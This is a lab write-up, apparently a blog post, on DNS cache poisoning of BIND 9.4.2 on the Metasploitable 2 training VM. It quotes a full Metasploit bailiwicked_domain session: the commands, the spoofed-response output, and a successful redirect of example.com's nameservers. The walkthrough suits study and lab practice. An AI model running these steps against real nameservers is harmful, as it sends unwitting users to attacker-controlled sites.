The Nmap scan of Metasploitable 2 revealed:
PORT STATE SERVICE VERSION
53/tcp open domain ISC BIND 9.4.2
It’s worth noting at the outset that neither of the below Metaploit Auxiliary’s worked for me; however, as I spent so much time researching and testing and learned whilst doing so, I’m going to detail the vulnerability as you might have success with this.
The premise of this Domain Name Server vulnerability is injecting spoofed information into the cache with the aim of overwriting and linking the details of one website with another. The consequence of this is that the user requests a website and a completely different website is served up.
The first exploit I tried was Metasploit’s Bailiwicked_Domain auxiliary
Description
===========
This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver. This exploit caches a single malicious nameserver
entry into the target nameserver which replaces the legitimate
nameservers for the target domain. By causing the target nameserver to
query for random hostnames at the target domain, the attacker can spoof
a response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache. This insertion completely replaces the original nameserver
records for the target domain.
Example
=======
# /msf3/msfconsole
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=[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
=[ 73 aux
msf > use auxiliary/spoof/dns/bailiwicked_domain
msf auxiliary(bailiwicked_domain) > set RHOST A.B.C.D
RHOST => A.B.C.D
msf auxiliary(bailiwicked_domain) > set DOMAIN example.com
DOMAIN => example.com
msf auxiliary(bailiwicked_domain) > set NEWDNS dns01.metasploit.com
NEWDNS => dns01.metasploit.com
msf auxiliary(bailiwicked_domain) > set SRCPORT 0
SRCPORT => 0
msf auxiliary(bailiwicked_domain) > check
[*] Using the Metasploit service to verify exploitability...
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] FAIL: This server uses static source ports and is vulnerable to poisoning
msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D
b.iana-servers.net.
a.iana-servers.net.
msf auxiliary(bailiwicked_domain) > run
[*] Switching to target port 50391 based on Metasploit service
[*] Targeting nameserver A.B.C.D for injection of example.com. nameservers as dns01.metasploit.com
[*] Querying recon nameserver for example.com.'s nameservers...
[*] Got an NS record: example.com. 171957 IN NS b.iana-servers.net.
[*] Querying recon nameserver for address of b.iana-servers.net....
[*] Got an A record: b.iana-servers.net. 171028 IN A 193.0.0.236
[*] Checking Authoritativeness: Querying 193.0.0.236 for example.com....
[*] b.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Got an NS record: example.com. 171957 IN NS a.iana-servers.net.
[*] Querying recon nameserver for address of a.iana-servers.net....
[*] Got an A record: a.iana-servers.net. 171414 IN A 192.0.34.43
[*] Checking Authoritativeness: Querying 192.0.34.43 for example.com....
[*] a.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject poison records for example.com.'s nameservers into A.B.C.D:50391...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Sent 8000 queries and 160000 spoofed responses...
[*] Sent 9000 queries and 180000 spoofed responses...
[*] Sent 10000 queries and 200000 spoofed responses...
[*] Sent 11000 queries and 220000 spoofed responses...
[*] Sent 12000 queries and 240000 spoofed responses...
[*] Sent 13000 queries and 260000 spoofed responses...
[*] Poisoning successful after 13250 attempts: example.com. == dns01.metasploit.com
[*] Auxiliary module execution completed
msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D
dns01.metasploit.com.
It’s worth noting the “Check” switch doesn’t work anymore.
The second exploit I tried was Metasploit’s Bailiwicked_Host Auxiliary and the process is detailed in the below two videos:
Again, neither of these exploits worked for me, but hopefully you may have more success.